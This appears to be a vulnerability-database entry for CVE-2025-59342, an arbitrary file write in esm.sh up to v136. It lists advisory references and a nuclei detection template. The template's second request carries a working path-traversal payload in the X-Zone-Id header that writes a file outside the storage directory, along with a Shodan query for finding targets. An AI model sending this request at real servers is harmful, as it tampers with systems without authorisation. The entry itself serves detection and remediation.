Lucene search
K

esm.sh <= v136 - Arbitrary File Write via Path Traversal

🗓️ 05 Jul 2026 03:01:21Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 12 Views

esm.sh up to version 136 allows arbitrary file write via path traversal using the X-Zone-Id header.

Related
Refs
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2025-59342
17 Sep 202517:59
attackerkb
GithubExploit
Exploit for CVE-2025-59342
18 Sep 202522:34
githubexploit
Circl
CVE-2025-59342
17 Sep 202504:24
circl
CNNVD
esm.sh 安全漏洞
17 Sep 202500:00
cnnvd
CVE
CVE-2025-59342
17 Sep 202517:59
cve
Cvelist
CVE-2025-59342 esm.sh writes arbitrary files via path traversal in `X-Zone-Id` header
17 Sep 202517:59
cvelist
Exploit DB
esm-dev 136 - Path Traversal
16 Dec 202500:00
exploitdb
EUVD
EUVD-2025-29764
3 Oct 202520:07
euvd
Github Security Blog
esm.sh has arbitrary file write via path traversal in `X-Zone-Id` header
17 Sep 202519:03
github
NVD
CVE-2025-59342
17 Sep 202518:15
nvd
Rows per page
id: CVE-2025-59342

info:
  name: esm.sh <= v136 - Arbitrary File Write via Path Traversal
  author: 0x_Akoko
  severity: medium
  description: |
   esm.sh <= 136 contains a path traversal caused by improper canonicalization of the X-Zone-Id HTTP header, letting attackers write files outside the intended storage directory, exploit requires crafted header input.
  impact: |
   Attackers can write files to arbitrary directories, potentially leading to system compromise or data tampering.
  remediation: |
   Update to a version later than 136 or the latest available version.
  reference:
    - https://github.com/esm-dev/esm.sh/security/advisories/GHSA-g2h5-cvvr-7gmw
    - https://www.exploit-db.com/exploits/52461
    - https://nvd.nist.gov/vuln/detail/CVE-2025-59342
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-59342
    cwe-id: CWE-24
    epss-score: 0.02829
    epss-percentile: 0.84898
  metadata:
    verified: true
    max-request: 2
    vendor: esm-dev
    product: esm.sh
    shodan-query: http.html:"esm.sh"
  tags: cve,cve2025,esm,path-traversal,file-write,unauth

variables:
  randfile: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_any(body, "esm.sh", "A no-build JavaScript CDN", "import React from")
        condition: and
        internal: true

  - raw:
      - |
        POST /transform HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-Zone-Id: ../../modules/transform/{{randfile}}/

        {"filename":"{{randfile}}.js","lang":"js","code":"console.log('nuclei');","importMap":{"imports":{"react":"https://esm.sh/react"}},"target":"es2022","sourceMap":"external","minify":true}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
          - contains_all(body, "code", "map")
        condition: and
# digest: 4b0a004830460221009bf3370d1ccca4702838203547da7f6dd6925f1927a6980fb8a689a738dc98ff022100ad4ba8285e59358986db780e5f072aabc2c4d2d2be13858d1b62410146de66bb:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Apr 2026 03:13Current
7.2High risk
Vulners AI Score7.2
CVSS 46.9
EPSS0.02829
SSVC
12